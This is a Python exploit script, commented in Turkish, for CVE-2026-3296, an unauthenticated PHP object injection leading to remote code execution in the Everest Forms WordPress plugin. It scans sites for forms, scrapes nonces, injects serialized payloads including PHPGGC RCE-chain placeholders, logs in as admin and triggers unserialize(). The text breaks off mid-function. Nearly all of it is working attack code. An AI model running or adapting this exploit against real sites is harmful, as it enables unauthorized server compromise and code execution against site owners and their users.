1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
| #!/usr/bin/env python3
"""
CVE-2026-3296 — Everest Forms <= 3.4.3
Unauthenticated PHP Object Injection → Remote Code Execution
Zafiyet Zinciri:
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez):
1. Hedef sayfadan form ID + nonce al
2. Serialized PHP object payload'ı form alanına göm
3. POST ile gönder → wp_evf_entrymeta tablosuna yazılır
(sanitize_text_field() serialization karakterlerini strip etmez)
FAZ 2 — TETİKLEME (Admin panel):
4. Admin wp-admin/admin.php?page=evf-entries&view-entry=X açar
5. html-admin-page-entries-view.php:133 → unserialize() çağrılır
(allowed_classes parametresi YOK → tüm sınıflar instantiate edilir)
6. POP gadget chain tetiklenir → RCE
Mod:
--mode inject : Payload enjekte et (Faz 1)
--mode trigger : Admin girişiyle tetikle (Faz 2)
--mode full : Her ikisi birden (admin kimlik bilgileri gerekli)
--mode scan : Zafiyet tespiti (benign payload)
"""
import requests
import argparse
import json
import re
import sys
import time
import base64
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urlencode, quote
requests.packages.urllib3.disable_warnings()
G = "\033[92m"; R = "\033[91m"; Y = "\033[93m"
C = "\033[96m"; D = "\033[90m"; B = "\033[1m"; X = "\033[0m"
_lock = Lock()
_counter = [0]
def out(msg):
with _lock:
sys.stdout.write("\r" + " " * 100 + "\r")
sys.stdout.write(msg + "\n")
sys.stdout.flush()
def progress(total):
with _lock:
_counter[0] += 1
n = _counter[0]
pct = n * 100 // total
bar = "█" * (pct // 5) + "░" * (20 - pct // 5)
sys.stdout.write(f"\r[{bar}] {n}/{total} ({pct}%) ")
sys.stdout.flush()
# ══════════════════════════════════════════════════════════════
# PAYLOAD KÜTÜPHANESI
# ══════════════════════════════════════════════════════════════
def build_payload(payload_type="probe", cmd="id", callback_url=None):
"""
Farklı amaçlar için serialized PHP object payload'ları.
probe : Benign stdClass — zafiyet tespiti için (yan etki yok)
file_write: Dosya yaz (PHPGGC benzeri — test ortamı)
ssrf : HTTP callback ile OOB tespiti
rce_* : Ortama özgü POP chain placeholder'ları
"""
payloads = {
# ── Benign test payload ──────────────────────────────
# stdClass instantiate edilir, magic method yok, yan etki yok.
# unserialize() çağrıldığını doğrulamak için yeterli.
"probe": (
'O:8:"stdClass":2:{'
's:6:"source";s:14:"CVE-2026-3296";'
's:6:"pwned";s:3:"yes";'
'}'
),
# ── Dosya yazma (test ortamı) ────────────────────────
# Gerçek bir POP chain'in davranışını simüle eder.
# Hedef ortamda TestGadget sınıfı yüklü olmalı.
"file_write": (
'O:11:"TestGadget":1:{'
's:4:"path";s:14:"/tmp/pwned.txt";'
'}'
),
# ── SSRF / OOB DNS callback ──────────────────────────
# Deserialization tetiklendiğinde callback_url'e istek gönderir.
# Burp Collaborator veya interactsh ile OOB tespiti.
"ssrf": (
f'O:8:"stdClass":1:{{'
f's:3:"url";s:{len(callback_url or "http://example.com")}:'
f'"{callback_url or "http://example.com"}";'
f'}}'
),
# ── WordPress core POP chain placeholder ────────────
# Gerçek ortamda PHPGGC ile üretilmeli:
# phpggc WordPress/RCE1 system "id" -s
"wp_rce": (
'/* PHPGGC ile üret: phpggc WordPress/RCE1 system "' + cmd + '" -s */'
),
# ── Yoast SEO POP chain placeholder ─────────────────
# phpggc Yoast/RCE1 system "id" -s
"yoast_rce": (
'/* PHPGGC ile üret: phpggc Yoast/RCE1 system "' + cmd + '" -s */'
),
# ── Monolog POP chain placeholder ────────────────────
# phpggc Monolog/RCE1 system "id" -s
"monolog_rce": (
'/* PHPGGC ile üret: phpggc Monolog/RCE1 system "' + cmd + '" -s */'
),
}
return payloads.get(payload_type, payloads["probe"])
# ══════════════════════════════════════════════════════════════
# FAZ 1-A: FORM SAYFASI PARSE — ID, NONCE, FIELD ADLARI
# ══════════════════════════════════════════════════════════════
def find_evf_forms(sess, base):
"""
Sitedeki Everest Forms formlarını bul.
Form ID, nonce ve field adlarını çıkar.
"""
forms = []
# Taranacak yaygın sayfa yolları
paths = [
"/", "/contact", "/contact-us", "/apply", "/register",
"/signup", "/form", "/survey", "/quiz", "/support",
"/get-quote", "/request", "/feedback", "/demo",
]
# Sitemap'ten ek sayfalar
try:
r = sess.get(base + "/sitemap.xml", timeout=5)
if r.status_code == 200:
urls = re.findall(r'<loc>(https?://[^<]+)</loc>', r.text)
for u in urls[:30]:
path = u.replace(base, "").rstrip("/") or "/"
if path not in paths:
paths.append(path)
except: pass
for path in paths[:35]:
try:
r = sess.get(base + path, timeout=6, allow_redirects=True)
if r.status_code != 200:
continue
if "everest" not in r.text.lower() and "evf" not in r.text.lower():
continue
page_forms = parse_evf_form(r.text, base + path)
forms.extend(page_forms)
except: continue
# Tekrar eden form ID'leri kaldır
seen = []
unique = []
for f in forms:
if f["form_id"] not in seen:
seen.append(f["form_id"])
unique.append(f)
return unique
def parse_evf_form(html, page_url):
"""
HTML içinden Everest Forms form verilerini çıkar.
"""
forms = []
# Form ID'leri bul
form_ids = re.findall(
r'name="everest_forms\[id\]"\s+value="(\d+)"'
r'|everest-forms-(\d+)'
r'|data-form-id="(\d+)"',
html
)
for fid_tuple in form_ids:
form_id = next((x for x in fid_tuple if x), None)
if not form_id:
continue
# Nonce çıkar
nonce = None
nonce_patterns = [
rf'name="_wpnonce{form_id}"\s+value="([^"]+)"',
rf'name="_wpnonce"\s+value="([^"]+)".*?form_id.*?{form_id}',
r'name="_wpnonce[^"]*"\s+value="([^"]+)"',
]
for pat in nonce_patterns:
m = re.search(pat, html, re.S)
if m:
nonce = m.group(1)
break
# Field adlarını çıkar
fields = []
# Text / textarea alanları
text_fields = re.findall(
rf'name="everest_forms\[form_fields\]\[([^\]]+)\]"',
html
)
for fn in text_fields:
fields.append({
"name": fn,
"type": "text",
})
# Honeypot alanı
hp_fields = re.findall(
r'name="everest_forms\[hp\]\[([^\]]+)\]"',
html
)
if not fields:
# Genel field pattern
fields = [{"name": "text_field", "type": "text"}]
forms.append({
"form_id": form_id,
"nonce": nonce,
"fields": fields,
"hp_fields": hp_fields,
"page_url": page_url,
})
return forms
# ══════════════════════════════════════════════════════════════
# FAZ 1-B: PAYLOAD ENJEKSIYONU
# ══════════════════════════════════════════════════════════════
def inject_payload(sess, form, payload_str, base):
"""
Serialized PHP object payload'ını form alanına enjekte et.
sanitize_text_field() O:, s:, {, }, ; karakterlerini strip etmez
→ payload wp_evf_entrymeta.meta_value'ya verbatim yazılır.
Nonce public form HTML'inden alınır → CSRF koruması bypass.
"""
page_url = form.get("page_url", base)
form_id = form["form_id"]
nonce = form.get("nonce")
fields = form.get("fields", [{"name": "text_field", "type": "text"}])
hp_fields = form.get("hp_fields", [])
# Nonce yoksa sayfadan al
if not nonce:
try:
r = sess.get(page_url, timeout=6)
parsed = parse_evf_form(r.text, page_url)
for pf in parsed:
if pf["form_id"] == form_id and pf["nonce"]:
nonce = pf["nonce"]
break
except: pass
if not nonce:
return {"status": "NO_NONCE"}
# POST verisi oluştur
post_data = {
"everest_forms[id]": form_id,
f"_wpnonce{form_id}": nonce,
"_wp_http_referer": page_url.replace(base, ""),
}
# Payload'ı tüm text field'lara yerleştir
injected_field = None
for field in fields[:5]:
fn = field["name"]
post_data[f"everest_forms[form_fields][{fn}]"] = payload_str
if not injected_field:
injected_field = fn
# Honeypot alanlarını boş bırak
for hp in hp_fields:
post_data[f"everest_forms[hp][{hp}]"] = ""
# Zorunlu meta alanlar
post_data["everest_forms[form_fields][evf_user_browser]"] = "Mozilla/5.0"
post_data["everest_forms[form_fields][evf_user_ip]"] = "127.0.0.1"
post_data["everest_forms[form_fields][evf_user_device]"] = "Desktop"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Referer": page_url,
"Origin": base,
"Content-Type": "application/x-www-form-urlencoded",
}
try:
r = sess.post(
page_url,
data=post_data,
headers=headers,
timeout=10,
allow_redirects=True,
)
body = r.text.lower()
# Başarı tespiti
success_indicators = [
"thank you", "success", "submitted", "received",
"teşekkür", "gönderildi", "başarı",
"evf-success", "form-success", "message-success",
]
error_indicators = [
"error", "invalid", "required", "please fill",
"nonce", "security check",
]
if r.status_code == 200:
if any(s in body for s in success_indicators):
return {
"status": "INJECTED",
"form_id": form_id,
"injected_field": injected_field,
"nonce": nonce,
"page_url": page_url,
}
if any(e in body for e in error_indicators):
return {"status": "FORM_ERROR", "hint": body[:200]}
# 200 ama belirsiz
return {
"status": "INJECTED_MAYBE",
"form_id": form_id,
"injected_field": injected_field,
"nonce": nonce,
"page_url": page_url,
"raw": r.text[:200],
}
return {"status": f"HTTP_{r.status_code}"}
except requests.exceptions.Timeout:
return {"status": "TIMEOUT"}
except requests.exceptions.ConnectionError:
return {"status": "CONN_ERR"}
except Exception as e:
return {"status": "EXCEPTION", "err": str(e)}
# ══════════════════════════════════════════════════════════════
# FAZ 2-A: ENTRY ID TESPİTİ
# ══════════════════════════════════════════════════════════════
def find_entry_ids(sess, base, form_id, admin_nonce):
"""
Admin panel üzerinden entry ID'lerini bul.
En son entry'yi döndürür (yeni enjekte edilen payload).
"""
entry_ids = []
entries_url = (
f"{base}/wp-admin/admin.php"
f"?page=evf-entries&form_id={form_id}"
)
try:
r = sess.get(
entries_url,
headers={"X-WP-Nonce": admin_nonce},
timeout=8,
)
if r.status_code == 200:
# Entry ID'leri çıkar
ids = re.findall(
r'view-entry=(\d+)'
r'|entry_id=(\d+)'
r'|data-entry-id="(\d+)"',
r.text
)
for id_tuple in ids:
eid = next((x for x in id_tuple if x), None)
if eid and int(eid) not in entry_ids:
entry_ids.append(int(eid))
# En yeni entry en üstte — ters sırala
entry_ids.sort(reverse=True)
except: pass
# REST API ile dene
if not entry_ids:
try:
r = sess.get(
f"{base}/wp-json/evf/v1/entries?form_id={form_id}&per_page=5",
headers={"X-WP-Nonce": admin_nonce},
timeout=6,
)
if r.status_code == 200:
data = r.json()
entries = data if isinstance(data, list) else data.get("entries", [])
for e in entries:
eid = e.get("id") or e.get("entry_id")
if eid:
entry_ids.append(int(eid))
except: pass
return entry_ids
# ══════════════════════════════════════════════════════════════
# FAZ 2-B: ADMİN GİRİŞİ + NONCE
# ══════════════════════════════════════════════════════════════
def admin_login(sess, base, username, password):
"""Admin kimlik bilgileriyle WordPress'e giriş yap."""
sess.cookies.set(
"wordpress_test_cookie", "WP Cookie check",
domain=base.split("//")[-1].split("/")[0]
)
login_data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": "/wp-admin/",
"testcookie": "1",
}
try:
r = sess.post(
base + "/wp-login.php",
data=login_data,
allow_redirects=True,
timeout=10,
)
logged_in = any(
"wordpress_logged_in" in k
for k in sess.cookies.keys()
)
if not logged_in:
return {"status": "LOGIN_FAILED"}
# REST nonce al
nonce_r = sess.get(
base + "/wp-admin/admin-ajax.php?action=rest-nonce",
timeout=6,
)
nonce = nonce_r.text.strip() if nonce_r.status_code == 200 else None
return {"status": "OK", "nonce": nonce}
except Exception as e:
return {"status": "EXCEPTION", "err": str(e)}
# ══════════════════════════════════════════════════════════════
# FAZ 2-C: ENTRY GÖRÜNTÜLEME — unserialize() TETİKLEME
# ══════════════════════════════════════════════════════════════
def trigger_deserialization(sess, base, form_id, entry_id):
"""
Admin olarak entry görüntüle.
html-admin-page-entries-view.php:133 → unserialize() tetiklenir.
Zafiyetli kod:
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value ); // allowed_classes YOK
}
"""
trigger_url = (
f"{base}/wp-admin/admin.php"
f"?page=evf-entries"
f"&form_id={form_id}"
f"&view-entry={entry_id}"
)
try:
r = sess.get(trigger_url, timeout=10, allow_redirects=True)
if r.status_code == 200:
body = r.text
# Deserialization gerçekleşti mi?
indicators = {
"entry_displayed": bool(re.search(r'evf-entry|entry-meta|entry-field', body, re.I)),
"payload_echoed": "CVE-2026-3296" in body or "pwned" in body.lower(),
"php_error": bool(re.search(r'Fatal error|Warning.*unserialize|__wakeup|__destruct', body, re.I)),
"access_denied": "access denied" in body.lower() or r.url.endswith("wp-login.php"),
}
|
